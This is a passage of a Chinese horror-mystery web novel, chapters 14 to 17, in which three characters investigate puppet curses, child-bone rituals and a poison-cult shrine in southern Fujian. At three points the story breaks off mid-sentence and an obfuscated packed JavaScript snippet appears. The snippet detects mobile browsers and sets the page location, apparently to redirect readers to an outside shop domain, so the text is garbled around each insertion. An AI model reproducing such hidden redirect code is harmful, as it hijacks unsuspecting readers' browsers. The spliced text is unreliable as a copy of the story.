孩童缓缓举起另一只手,比出"五"的手势。檀九重这才注意到,它原本的六只半手指,现在只剩五只完整... 14. 骨鸣往事 闽南清晨的雾气带着咸腥味。檀九重站在庆云戏台的后院,指尖轻抚过一排古老的木偶。这些傀儡做工精致,关节处连接着几乎透明的丝线,在晨光中泛着诡异的银光。 “这是‘悬丝傀儡’,泉州一带的传统技艺。”阿青不知何时出现在身后,手里端着两杯冒着热气的茶,“爷爷说最正宗的要用蚕丝浸泡尸油,能百年不腐。” 檀九重没接茶杯,而是指向一个特殊的木偶——它的头部明显比其他更精致,面部表情栩栩如生:“这个不一样。” 阿青的笑容僵了一瞬:“...那是爷爷的师兄做的,用真人枕骨雕刻。”她压低声音,“听说是1937年玉成班一个学徒的头骨。” 檀九重胃部一阵绞痛。她想起瓷枕中那九块童子骨,想起裴子晏曾说‘骨瓷咒’需要夭折孩童的骨灰... “你们用活人制傀?” “当然不!”阿青激动地摇头,“爷爷就是反对这个才被师门排挤的!”她拉着檀九重来到一间暗室,里面堆满发黄的资料,“他在离开师门之前,偷偷保存了当年遇害者的名册,想为他们讨公道。” 檀九重翻开名册,第一页就记载着七月初七那晚玉成班失踪的九名学徒,最小的只有八岁。每个名字旁边都详细记录了生辰八字和特征。当她翻到最后一页时,却发现被人撕去了,只残留一角纸片,上面有个模糊的血指印。 “这是...” “不知道谁撕的。”阿青摇头,“爷爷说那页记着最重要的东西。” 檀九重仔细查看血指印的纹路,突然想起什么——这与父亲罗盘背面的纹路几乎一致!难道父亲当年也接触过这名册? “阿青,你爷爷提到的‘她’是谁?就是录音里说的...” 少女刚要回答,外面突然传来重物倒地的声音。两人冲出去,只见裴子晏倒在井边,面色惨白如纸,后背插着几根几近透明的丝线——正是昨晚杜十娘用来操控他的那种。 “裴子晏!”檀九重冲过去扶起他,触手冰凉。那些丝线像是有生命般,正缓慢地向他的肌肉里钻去。 阿青倒吸一口冷气:“这是‘阴线’!要用尸油煮过七七四十九天...”她突然住口,惊恐地看着檀九重,“但阴线只能操控死人,活人经络会把它逼出来才对...” 檀九重心头一震。所以昨晚裴子晏能被操控,是因为他...不是活人? “先救人。”她咬牙拔出一根丝线,线头带着黑色的粘稠液体,散发出与瓷枕相同的腐香。 阿青跑去找草药,檀九重趁机检查裴子晏的伤口。丝线刺入处没有流血,只有那种黑色液体渗出。更奇怪的是,伤口周围的皮肤下隐约有东西在蠕动,像是细小的虫豸。 “学姐...”裴子晏突然睁开眼,声音虚弱得几不可闻,“求你,别看...” 檀九重扳过他的脸:“这是什么?谁袭击的你?” 裴子晏勉强扯出个笑容:“老毛病了...每月都得...清理一次...”他试图坐起来,却咳出一团黑气,“有人...故意引我来这里...” “为什么?” “因为...”裴子晏的话被又一阵咳嗽打断,这次咳出的黑气在空中凝成孩童的形状,转瞬即逝,“...这里是‘骨鸣’开始的地方。” 阿青拿着草药回来,见状惊呼:“他在排阴毒!快扶到屋里!” 三人手忙脚乱地把裴子晏抬到厢房。阿青煎药时,檀九重继续检查那些丝线。在紫外线灯下,线体上显现出细小的符文,与裴子晏背后的纹路有七分相似。 “阴线需以死者枕骨为引,活人经络为媒。”她想起父亲笔记中的记载,“中者如提线木偶,言行不由己...” 但这里有个矛盾——如果阴线只能操控死人,为何能在活人经络中存活?除非...裴子晏既不是纯粹的活人,也不是完全的死人。 阿青端来一碗黑如墨汁的药:“给他灌下去,能暂时压制阴毒。” 药汁散发着刺鼻的腥臭,裴子晏却像久旱逢甘霖般一口气喝光。片刻后,他脸上的死灰色稍褪,呼吸也平稳了些。 “谢谢。”他对阿青点点头,然后看向檀九重,“学姐...我没事了。你去休息吧。” 檀九重眯起眼。每次裴子晏急着支开她,就意味着有事情瞒着她。 “好。”她假装答应,转身出门,却躲在窗下偷听。 “...还能撑多久?”阿青压低声音问。 “最多七天。”裴子晏的声音异常疲惫,“这次阴线有毒...是冲着要我命来的。” “那檀小姐...” “别告诉她。”裴子晏打断道,“这次...我必须自己解决。” 檀九重握紧拳头。果然又在瞒着她!她轻手轻脚地离开,决定晚上跟踪裴子晏,看他到底要‘解决’什么。 夜幕降临后,裴子晏果然悄悄起身出门。檀九重远远跟着,见他径直走向戏台后的一条小溪。月光下,裴子晏脱下上衣,后背的符文在黑暗中泛着微弱的红光。他取出一把银色小刀,在胸口划了道口子——依然没有流血,只有黑色液体汩汩流出。 檀九重捂住嘴才没叫出声。只见裴子晏将黑液引入溪水,然后开始清洗身体。令人毛骨悚然的是,随着他的搓洗,大量细小的骨屑从皮肤上脱落,在溪水中形成一片惨白的漩涡。 “自我净化...”檀九重想起父亲笔记中提到的‘骨蜕’——某些秘术修行者需要定期排出体内积累的阴毒,过程痛苦如同剥皮抽骨。 裴子晏突然抬头,直直看向她藏身的树丛:“学姐...出来吧。” 被发现的檀九重干脆走出来:“解释。” 月光下,裴子晏苍白的身体上布满新旧伤痕,有些看起来已经有几十年历史。他苦笑着摇头:“就知道瞒不过你。”指了指漂浮在溪水中的骨屑,“这是‘阴线’的残留...有人用特殊手法炼制的,能腐蚀我的‘不死身’。” “谁?” “不知道。但肯定与1937年的事有关。”裴子晏穿上衣服,”当年玉成班的火灾不是意外,而是有人要销毁证据...关于‘骨鸣术’的实验。” 檀九重想起那名册上记载的九个孩童:“用活人制傀?” 裴子晏点头:“更准确地说,是用特定生辰的孩童骨骼制作乐器...骨笛、骨埙之类的。当风吹过这些乐器,会发出特殊频率的声音,能...”他突然顿住,警惕地看向四周,“有人来了。” 树丛中传来沙沙声。阿青气喘吁吁地跑来:“不好了!爷爷他...他打开了‘那个盒子’!” 三人赶回戏台时,老人正抱着一个黑漆木盒喃喃自语。盒子已经打开,里面是一排小巧的骨制乐器,最显眼的是一支乳白色的笛子,笛身上刻着与瓷枕相同的婴戏纹。 “骨鸣笛...”裴子晏脸色大变,“师弟,放下它!” 老人充耳不闻,将笛子凑到唇边。一阵诡异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16449295|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的笛声响起,不似人间音调,倒像是无数孩童的哭声被拉长扭曲。檀九重顿觉头痛欲裂,手腕上的铜钱手链变得滚烫。 更可怕的是,戏台梁上悬挂的那些傀儡突然全部‘活’了过来,齐刷刷转头看向他们! “捂住耳朵!”裴子晏一把拉过檀九重,“这是‘唤魂调’!” 阿青扑向爷爷,想夺下骨笛,却被老人一把推开。老人眼神狂乱,笛声越发尖锐。檀九重看到那些傀儡身上的丝线自动延伸,像毒蛇般向他们游来。 裴子晏突然咬破手指,在檀九重掌心画了个血符:“学姐,借点阳气。”不等她反应,他已经俯身吻住她的唇。 这个吻冰凉而短暂,却让檀九重浑身如过电般颤抖。裴子晏退开后,她掌心的血符亮起刺目的红光。 “用墨斗线缠住笛子!”他在她耳边急促地说,“现在!” 檀九重不假思索地出手。墨斗线如灵蛇出洞,精准地缠上骨笛。笛声戛然而止,老人发出一声惨叫,傀儡们纷纷坠落在地。 阿青趁机夺下骨笛,却发现它已经裂成两半。老人瘫坐在地,眼神恢复了些许清明:“师兄...对不起...他们逼我的...” “谁逼你?”檀九重追问。 老人颤抖的手指指向那个黑漆木盒。檀九重上前查看,在盒子夹层里发现一张泛黄的照片——是年轻的杜十娘与一个穿西装的男子的合影,男子手里拿着个罗盘,正是父亲年轻时模样! 照片背面写着:‘癸酉年六月初六,与檀先生定约,以九子骨换长生术。’ “这不可能...”檀九重声音发抖。父亲参与过活人祭祀? 裴子晏捡起断裂的骨笛,仔细检查断面:“学姐,看这个。” 笛子内部中空,塞着一小卷发黄的纸。展开后是一份契约,上面罗列着九个孩童的名字和生辰,最后盖着玉成班的印章和...一枚指纹。 檀九重如遭雷击——那指纹与父亲笔记上的如出一辙! “伪造的。”裴子晏斩钉截铁地说,“檀教授绝不会做这种事。” “那这指纹...” “是有人刻意模仿。”裴子晏指向契约的落款日期,“看,癸酉年六月初六。那段时间檀教授根本不在闽南,他在湘西考察。” 阿青突然插话:”爷爷说过,当年有个穿西装的人冒充学者,骗班主说能用孩童骨炼制长生药...” 檀九重仔细比对照片和契约,发现一个细微差别——照片中男子拿罗盘的姿势是左手,而父亲惯用右手。 “不是他。”她松了口气,随即又皱眉,“但谁会冒充我父亲?” 裴子晏的表情变得异常凝重:“学姐,我们得尽快找到檀教授。”他指向骨笛上的纹路,“这上面刻的是‘引魂咒’...有人想用九子骨为引,召唤某个东西。” “什么东西?” “不知道。但瓷枕、阴婚契、骨鸣术...都是为这个目的服务的。”裴子晏突然剧烈咳嗽起来,一团黑气从口中溢出,在空中凝成无面孩童的形状,转瞬即逝。 阿青惊恐地后退:“师伯...你身上带着‘那个’?” 裴子晏擦去嘴角的黑液,没有回答。檀九重却注意到,溪边洗去的骨屑似乎又回到了他身上,在皮肤下形成细小的凸起,如同无数虫卵等待孵化。 窗外,五只乌鸦无声地落在枝头。而在更远的黑暗中,穿红肚兜的无面孩童缓缓举起手,比出了‘四’的手势... 15. 双生儡 闽南的雨来得急去得也快,哪怕是凌晨开始下雨,如今不过五六点钟便已经有了放晴的迹象。檀九重站在庆云戏台的化妆间里,手中的紫外线灯扫过斑驳的镜面。镜中映出她疲惫的脸和身后墙上那些泛黄的老照片——都是玉成班当年的剧照,杜丽娘、柳梦梅的扮相在岁月侵蚀下依然栩栩如生。 “学姐。” 裴子晏的声音从身后传来。檀九重转身,见他倚在门框上,脸色比昨天更加苍白,脖颈上的缝合线隐约泛着青黑色。他手里端着碗黑乎乎的汤药,热气在潮湿的空气中凝成白雾。 “阿青熬的,说是能解阴毒。”他递过碗,指尖在触碰时明显颤抖了一下。 檀九重接过碗,却先放在一旁:“你后背的伤怎么样了?” 裴子晏眨眨眼:“学姐关心我?” “例行询问。”她面无表情,“如果你死了,我就少了个线索来源。” 裴子晏笑起来,酒窝在苍白的脸上格外明显:“学姐真是无情啊。”他转身要离开,却突然踉跄了一下,扶住门框才没摔倒。 檀九重上前一步扶住他,手掌触及他的后背时,布料下的触感让她心头一震——那些骨屑又增多了,隔着衣服都能摸到细小的凸起。 “你需要去医院。” “没用。”裴子晏勉强站稳,“这不是现代医学能解决的。”他指了指自己胸口,“阴线在侵蚀我的‘不死身’,就像铁锈腐蚀金属...” 话未说完,他的瞳孔突然扩散,整个人僵直地向后倒去。檀九重眼疾手快地抱住他,却见他眼中黑瞳完全占据了眼白,嘴角机械地上扬,露出一个不属于裴子晏的诡异笑容。 “终于...抓到你了...”裴子晏的嘴一张一合,发出的却是杜十娘沙哑的声音! 檀九重立刻松开手后退,同时从腰间抽出墨斗线。但‘裴子晏’动作更快,一把扣住她的手腕,力道大得几乎要捏碎骨头。 “檀家的小丫头...”‘他’歪着头,黑瞳中映出她惊愕的脸,“你父亲偷走的东西...该还回来了...” 檀九重抬腿踢向对方膝盖,同时将墨斗线甩向空中。改良过的墨斗线在空中自动结成天罗地网,朝"裴子晏"罩下。但他只是轻轻一挥手,那些丝线就纷纷断裂,仿佛碰到无形的屏障。 “没用的...”‘裴子晏’咯咯笑着,声音像是两个人在同时说话,“这具身体里的力量...你想象不到...” 檀九重突然想起什么,猛地扯开他的衣领——裴子晏胸口的皮肤下,那些骨屑已经排列成诡异的符文,与她手腕上的胎记遥相呼应。 “双子咒...”她恍然大悟,“有人在利用这个!” ‘裴子晏’的笑声戛然而止,黑瞳中闪过一丝挣扎:“学...姐...跑...”这是裴子晏本人的声音! 檀九重趁机咬破手指,在掌心画了道血符,一掌拍向‘裴子晏’额头。血符接触皮肤的瞬间,他发出一声不似人类的尖啸,一团黑气从七窍中涌出。与此同时,戏台另一侧传来重物倒地的声音。 ‘裴子晏’软绵绵地倒下,檀九重接住他的同时,警觉地看向声源处——是杜十娘!老人瘫坐在太师椅上,七窍流血,手中的傀儡掉在地上,头身分离。 阿青闻声赶来,见状发出一声悲鸣:“爷爷!” 檀九重将昏迷的裴子晏安置在一旁,上前检查杜十娘的情况。手指刚触到老人脖颈,她就皱起眉头——没有脉搏,而且尸体已经出现尸僵,皮肤呈现暗紫色... “他死了至少三天。”檀九重沉声道。 阿青瞪大眼睛:“不可能!昨晚爷爷还...” “那不是你爷爷。”檀九重指向地上的傀儡,“是它在操控尸体。” 阿青脸色煞白,颤抖着拾起那个傀儡。木质的身躯上刻满符文,头部却是空心的,里面塞着一团黑乎乎的东西。檀九重用镊子夹出来一看,是一块已经干瘪的人体组织。 “胃部组织。”她立刻判断出来,“有人从内部破坏了尸体...” 阿青突然想起什么:“等等!前天晚上爷爷吐了很久,然后就说要闭关...”她捂住嘴,“难道那时候就已经...” 檀九重点头:“有人杀了你爷爷,然后用傀儡操控他的尸体。”她仔细检查那块组织,在紫外线灯下,隐约可见几个字母——‘PZY’。 裴子晏的名字缩写。 “这不可能!”阿青惊呼,“师伯怎么会...” 檀九重眉头紧锁。确实不合逻辑——如果裴子晏要杀杜十娘,何必大费周章用傀儡操控?而且那块组织看起来至少有几个月历史... “学姐...”裴子晏虚弱的声音传来。他醒了,正艰难地撑起身子,“我...怎么了?” 檀九重简要说明了情况。裴子晏听完,脸色变得更加苍白:“有人在用我的‘血肉样本’施术...”他指了指自己胸口,“这些骨屑...不是外来物,是我身体在分解...” 阿青突然哭起来:“都是那个花旦!一定是她回来报仇了!” “什么花旦?”檀九重敏锐地抓住关键词。 阿青擦了擦眼泪,从怀里掏出半截发簪:“爷爷临终前塞给我的...里面有东西。” 发簪是银质的,已经氧化发黑。檀九重拧开簪头,里面藏着一小卷胶片。对着灯光展开,是一张微缩照片——1937年玉成班的幕后合影,前排站着个容貌绝美的花旦,而那张脸...与裴子晏一模一样! “这是...”檀九重声音发紧。 “沈胭脂。”裴子晏突然说,眼神涣散,“她不是普通的花旦...是班主从湘西带回来的‘活傀’...” 檀九重和阿青同时看向他。裴子晏却像大梦初醒般摇头:“我...我刚才说了什么?” “你说沈胭脂是‘活傀’。”檀九重紧盯着他的眼睛,“什么是活傀?” 裴子晏困惑地皱眉:“我不知道...这个词突然出现在脑子里...” 阿青却倒吸一口冷气:“爷爷说过,‘活傀’是用活人炼制的傀儡,能完美模仿任何人...但炼制过程要剥皮抽骨,痛苦至极...”她指着照片,“如果沈胭脂是活傀,那她的真实身份是...” “另一个‘不死身’。”檀九重接过话头,思绪电转,“或者说,裴子晏可能是她的‘复制品’...” 裴子晏突然抱头呻吟,一段陌生的记忆如潮水般涌来——黑暗的戏台地下室、铁链的哗啦声、镜子里的花旦对自己微笑... “庆云戏台...地下有密道...”他脱口而出,“入口在...杜丽娘画像后面...” 阿青震惊地看着他:“师伯怎么知道?那是爷爷生前才知道的秘密!” 裴子晏自己也愣住了:“我...不知道...” 檀九重当机立断:“带我们去。” 阿青领着两人来到戏台后方的道具间。墙上挂着一幅巨大的杜丽娘画像,已经积满灰尘。推开画像,后面果然有道暗门,锁孔形状奇特,像是一截骨头。 “需要钥匙...”阿青为难地说。 裴子晏却鬼使神差地取下那半截发簪,插入锁孔。轻轻一转,机关发出“咔哒”的响声,暗门缓缓开启。 “这不可能...”阿青喃喃道,“这发簪是沈胭脂的遗物...” 阴冷的风从密道深处吹来,带着腐朽的气息。檀九重打开手机照明,率先走下去。台阶很陡,墙壁上满是抓痕,有些还带着暗红色的血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16449296|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迹。 密道尽头是个圆形石室,中央摆着个巨大的玻璃缸,里面浸泡着一个人形物体。走近看,檀九重胃部一阵痉挛——那是一张完整的人皮,面部保留着精致的妆容,正是照片中沈胭脂的样子! “活傀的...外壳...”裴子晏声音发抖,突然跪倒在地,头痛欲裂。更多记忆碎片涌现:冰凉的液体漫过皮肤、针线穿透血肉的剧痛、有人在他耳边低语“记住你的使命”... 阿青惊恐地后退:“这里...是制作活傀的工作室!” 檀九重检查着玻璃缸旁的器具——整套外科手术工具,还有几个装满不明液体的玻璃瓶。其中一个瓶子里漂浮着小块组织,标签上写着‘PZY-7’。 “有人在这里进行人体实验...”她声音发紧,“而且用了你的细胞样本。” 裴子晏摇摇晃晃地站起来,指向石室角落:“那里...还有东西...” 那是一口小棺材,打开后里面整齐地摆放着九个小木偶,每个木偶的胸口都嵌着一块人骨。檀九重立刻认出,这与瓷枕中的九块童子骨材质相同! “骨鸣术的媒介...”裴子晏喃喃道,“用特定生辰的孩童骨骼制作乐器...当九种乐器同时发声,能打开阴阳界限...” 檀九重突然明白了一切:“所以瓷枕、阴婚契...都是为了收集这九块骨头!有人想重现当年的仪式!” 阿青从棺材底部摸出一本发黄的笔记:“这是...爷爷的字迹!” 笔记记载了杜十娘如何发现班主用活人炼制傀儡,如何试图阻止却反被诬陷。最后一页写着:“沈胭脂非人非傀,乃借尸还魂之术的产物。师兄以自身为容器,封其凶性,终遭反噬。今我寻得檀先生相助,欲毁九子骨,却遭...” 文字到此中断,像是匆忙中写下的。 “师兄...是指你吗?”阿青困惑地问裴子晏。 裴子晏没有回答,他的注意力被墙上的一道刻痕吸引——那是个奇怪的符号,由两个月牙交错组成,与他和檀九重的胎记一模一样。 “双子咒...”他轻声道,“不是咒术...是标记...” 檀九重正想追问,密道上方突然传来重物倒塌的声音。三人匆忙返回,发现戏台已经燃起大火,火势迅速蔓延。 “是阴火!”阿青惊呼,“遇水不灭!” 三人勉强逃出火场,回头望去,庆云戏台在青白色的火焰中轰然倒塌。奇怪的是,火焰只集中在戏台范围,丝毫不向四周扩散。 “有人不想我们找到更多线索...”檀九重沉声道。 回到临时住处,阿青去准备晚饭,裴子晏却叫住檀九重:“学姐...我帮你把头发上的灰擦掉吧。” 檀九重本想拒绝,但看到他苍白的脸色和恳切的眼神,鬼使神差地坐下了。裴子晏站在她身后,用湿毛巾轻轻擦拭她的长发。他的动作异常熟练,仿佛做过千百次。 “你以前帮人梳过头?”她试探地问。 裴子晏的手顿了顿:“不记得了...但感觉这样做过很多次...” 擦着擦着,他的手突然一抖,发簪尖端不小心划破了檀九重的头皮。血珠立刻渗入发丝,裴子晏慌忙道歉,却不着痕迹地将沾血的发簪藏进袖口。 檀九重敏锐地察觉到异样,但没拆穿。当裴子晏转身去拿干净毛巾时,她迅速检查了发簪——尖端有极细的凹槽,刚才那滴血已经被吸收了进去。 “血脉感应术...”她想起父亲笔记中提到的古老法术,用双方血液可以追踪血缘或契约关系。裴子晏在试探什么? 窗外,四只乌鸦静静地注视着这一切。而在更远的黑暗中,穿红肚兜的无面孩童缓缓举起手,比出了‘三’的手势... 16. 蛊婆祠 发簪上的血迹已经干涸成了暗褐色。檀九重将它举到阳光下,那滴属于她的血在簪头凹槽里凝结成珠,与银质氧化层融为一体。裴子晏昨晚的‘失手’绝非偶然——他在施展某种血术。 “学姐,阿青说发簪原主人在山里有座祠堂。”裴子晏的声音从身后传来。他今天气色好了些,脖颈上的缝合线几乎看不见了,但眼下的青黑显示他依然虚弱。 檀九重收起发簪:“蛊婆祠?” “嗯,当地人说沈胭脂生前常去那里。”裴子晏递过一杯热茶,指尖在杯沿留下淡淡的黑印——那些骨屑还在他体内扩散,“据说祠里供奉的不是正神,而是历代养蛊人的魂魄。” 檀九重没接茶杯,而是盯着他的眼睛:“你昨晚取我的血到底是想做什么?” 裴子晏的手僵在半空,茶汤表面泛起细微的涟漪。阳光透过窗户照在他脸上,那双总是含笑的眼睛此刻深不见底。 “血脉感应术。”他坦然承认,“我想确认...我们之间的联系。” “结果呢?”听到这,檀九重心中升起一股果然跟她猜想的一样的感觉,但是面上依旧不显。 裴子晏放下茶杯,解开右手腕的绷带——那个与檀九重左手腕对应的月牙胎记周围,此刻布满了细小的血丝,如同根系般向外蔓延。 “我们的血...不相容。”他轻声道,“但却在互相吸引,就像磁铁的正负极。” 檀九重皱眉。父亲笔记中提过,血脉感应术能检测血缘或契约关系。如果血液相斥却相吸,只能说明两人之间存在某种非自然的联结... 阿青的呼喊打断了她的思绪:“准备好了!趁天亮上山吧!” 三人沿着崎岖的山路前行。越往深处,植被越发诡异——本该是翠绿的树叶呈现出不健康的灰蓝色,树干上长满瘤状凸起。阿青说这是蛊气侵蚀的结果,活人沾上会皮肉溃烂。 “前面就是蛊婆祠。”阿青指向山腰处一座不起眼的小建筑,“最后一次有人进去是十年前,七个孩子在山里失踪,搜救队找到时...”她咽了口唾沫,“他们手拉手围坐在祠堂门口,全都...没了天灵盖。” 檀九重胃部一阵紧缩。她想起瓷枕中的九块童子骨,想起庆云戏台密室里那九个小木偶。七加二等于九,这数字绝非巧合。 蛊婆祠比想象中更破败。门楣上‘蛊母庙’三个字已经模糊,两侧对联只剩残片:“...养得百蛊济世人...炼就千毒...” 推开腐朽的木门,霉味混着某种甜腻的腐香扑面而来。祠堂内部比外观大得多,中央是个下沉式的石坛,坛上摆着—— “七个孩子...”阿青声音发抖。 石坛上整齐排列着七具骸骨,全都穿着现代童装,摆放成北斗七星的形状。每具骸骨的天灵盖都被精心取下,放在对应的胸口位置,盖骨内侧刻满了符文。 檀九重戴上手套,小心检查最近的一具。这是个约莫十岁的孩子,穿着蓝色连帽衫,骨骼上残留着细小的切痕。当她翻过天灵盖时,呼吸为之一窒——盖骨内侧不仅刻着符文,还钉着一张黄纸,上面写着裴子晏的生辰八字! “辛酉年九月初九...”她念出声,看向裴子晏,“你的生日。” 裴子晏脸色煞白,手指无意识地摩挲着自己手腕上的胎记:“这是...替身咒。”他指向那些符文,“湘西的替身术与闽南蛊术的结合...用特定生辰的孩童代替某人承受灾厄...” 檀九重迅速检查其他骸骨。每具都是相同配置——现代童装、天灵盖刻符、心口钉着裴子晏的生辰。最令人毛骨悚然的是,这些孩子的死亡时间跨度长达三十年,最早的尸体已经白骨化,最新的却还保留着部分软组织! “有人一直在收集特定生辰的孩童...”檀九重声音发紧,“为你制作替身?” 裴子晏摇头,又点头:“不全是...这些孩子本身就是‘容器’...”他指向那些骸骨的四肢关节,“看,骨头被掏空后又封回去...里面曾经养着蛊虫。” 阿青突然尖叫一声。她在石坛后方发现了个小神龛,里面供着个玻璃罐,泡在福尔马林里的赫然是一张完整的人头皮!头皮内侧刻着与天灵盖相同的符文,但更精细复杂。 “这是...蛊引。”裴子晏声音发紧,“用养蛊人的皮肤做载体...最毒的蛊。” 檀九重正要上前查看,祠堂深处突然传来“咔哒”一声,像是某种机关被触发。紧接着,七具骸骨的天灵盖同时震动起来,发出令人牙酸的摩擦声。 “不好!”裴子晏一把拉住檀九重后退,“蛊阵被激活了!” 但已经晚了。檀九重刚才触碰骸骨的手指开始发黑,麻痹感迅速顺着手臂蔓延。她看到幻觉如潮水般涌来—— 阴暗的地下室,铁链哗啦作响。年幼的裴子晏被锁在石台上,赤裸的后背布满青紫淤痕。一个穿白大褂的身影站在旁边,手持骨锯,正在小心翼翼地分离他的肋骨... “学姐!”现实中的裴子晏拍打着她的脸,“别相信你看到的!” 檀九重艰难地聚焦视线。幻觉与现实交织在一起,她分不清哪个更可怕——眼前的裴子晏嘴角渗着黑血,而幻觉里那个孩子正对她伸出手,无声地喊着“救我”... “这是...你的记忆?”她喘息着问。 裴子晏的表情瞬间凝固:“你看到了什么?” “你...小时候...被人...” 裴子晏突然捂住她的嘴,眼神惊恐:“别说出来!会被‘祂’听到!” 就在这时,祠堂后门“吱呀”一声开了。一个佝偻的身影缓缓走出,是位满头白发的老妇人,手中提着一盏幽绿的灯笼。 “终于来了...”老妇人的声音出奇地年轻,与苍老的外表形成诡异反差,“我等了你们...好久...” 阿青躲到裴子晏身后:“是...蛊婆!” 老妇人轻笑一声,举起灯笼照着自己的脸——皱纹密布的面皮下,隐约有什么东西在蠕动:“不用怕...我早就不养害人的蛊了...”她指了指那些骸骨,“这些孩子...都是我救回来的...” 檀九重强忍眩晕,仔细观察老妇人。在灯笼的绿光下,她注意到老妇人脖颈处有一圈细密的缝合线, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16449297|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就像...裴子晏脖子上的一样! “你是谁?”檀九重厉声问。 “林秀兰,1993年前是闽北山区的小学老师。”老妇人的声音突然变得清晰流畅,“那年我带的班级有七个孩子被拐走,我追查到这里...发现了这个。”她指了指石坛上的骸骨阵。 原来那些现代童装是这么来的!檀九重瞬间明白了:“你为了救孩子们...” “学了蛊术,想以毒攻毒。”林秀兰苦笑,脸上的皮肤突然裂开一道缝,几只细小的黑虫从里面钻出又钻回去,“结果把自己搭进去了...孩子们没救成,反倒成了‘容器’...” 裴子晏突然上前一步:“你认识檀明远吗?” 林秀兰的灯笼晃了晃:“檀教授...是他把我从万蛊噬心的痛苦中救出来的。”她撩起衣袖,露出手臂上密密麻麻的针眼,“每周给我注射抑制剂...直到五年前...” “他失踪那天?”檀九重急切地问。 林秀兰点头:“那天他急匆匆赶来,说要取走‘最重要的东西’...”她指向七具骸骨中最小的那具,“从那个孩子手里拿走了什么...然后就再没回来。” 檀九重立刻检查那具最小的骸骨。孩子的手骨紧握着,掰开后,掌心里是个锈迹斑斑的怀表。打开表盖,里面没有指针,只有一颗乳白色的...乳牙! 裴子晏看到乳牙,脸色瞬间惨白:“这是...” “你的乳牙。”檀九重笃定地说,“和罗盘指针的材质一样。” 林秀兰突然剧烈咳嗽起来,大团黑虫从她口中涌出:“时间...不多了...你们得...”她的皮肤开始大面积脱落,露出下面蜂窝般的结构,“祠堂下面...有檀教授留下的...” 话未说完,她的头突然像熟透的果实般爆开,无数黑虫喷涌而出。阿青尖叫着后退,裴子晏却迎上前,从怀中掏出一个瓷瓶,将瓶中的粉末撒向虫群。 粉末接触虫群的瞬间,黑虫纷纷僵死落地。但更多的虫子从林秀兰残躯中涌出,迅速组成一个人形。 “走!”裴子晏推着两人往出口冲,“她早就死了...现在蛊虫失去了宿主!” 三人跌跌撞撞逃出祠堂,身后传来木材断裂的巨响。回头望去,蛊婆祠正在坍塌,无数黑虫如潮水般从缝隙中涌出,却在接触到阳光的瞬间自燃,化作缕缕青烟。 檀九重紧握着那枚怀表,脑海中回放着幻觉中看到的场景——年幼的裴子晏被锁在石台上,而那个穿白大褂的背影...像极了父亲。 “学姐...”裴子晏虚弱地靠在一棵树上,嘴角不断渗出黑血,“现在你明白了...我是什么东西...” 檀九重打开怀表,乳牙在阳光下泛着珍珠般的光泽。她突然想起青铜匣里那两枚铜钱,想起瓷枕中的九块童子骨,想起裴子晏说过“我从未真正活过”... 阿青突然指着山下:“看!那些乌鸦!” 三只乌鸦在山路上方盘旋,组成一个箭头形状,指向密林深处。而在它们身后的树影里,穿红肚兜的无面孩童缓缓举起手,比出‘二’的手势... 17. 血肉咒 怀表里的乳牙在月光下泛着珍珠般的光泽。檀九重将它举到眼前,与青铜罗盘的指针比对——材质完全相同,连那种特殊的半透明质感都如出一辙。 “学姐...别看...”裴子晏虚弱的声音从篝火对面传来。逃亡途中他的情况恶化了,那些骨屑已经蔓延到面部,在皮肤下形成细小的凸起,像是一层即将破茧的虫卵。 檀九重没有理会,反而将乳牙按在自己左手腕的胎记上。令人毛骨悚然的是,胎记周围的皮肤立刻泛出暗红色纹路,如同被激活的电路板,向四周蔓延。 “果然有反应。”她冷静地观察着这一变化,“这颗乳牙和我的胎记会产生共鸣。” 裴子晏突然剧烈咳嗽起来,一团黑气从口中溢出,在空中凝成无面孩童的形状,转瞬即逝。阿青吓得跌坐在地,手中的草药撒了一地。 “师、师伯...”她声音发抖,“你身体里...到底有什么?” 裴子晏没有回答,只是用袖子擦了擦嘴角的黑渍。檀九重注意到,他的右手腕内侧——那个与她胎记对应的月牙印记——正在渗出黑色液体,散发出与蛊婆祠中相同的腐香。 “蛊毒发作了。“檀九重迅速翻开父亲笔记,“林秀兰临死前说祠堂下面有东西...会不会是解药?” 裴子晏摇头:“不是解药...是‘源头’...”他的声音变得异常沙哑,“学姐...离我远点...我快控制不住‘它’了...” 檀九重刚想追问,手腕突然传来剧痛。低头一看,胎记周围的血色纹路已经变成了实体,细如发丝的红线正从皮肤下钻出,如同活物般扭动着! “这是什么?!”她本能地去扯那些红线,却发现它们扎根在血肉中,每扯一下都带来撕心裂肺的疼痛。 裴子晏脸色大变:“血肉咒...被激活了...”他踉跄着爬起来,“有人...在通过你的血施术...” 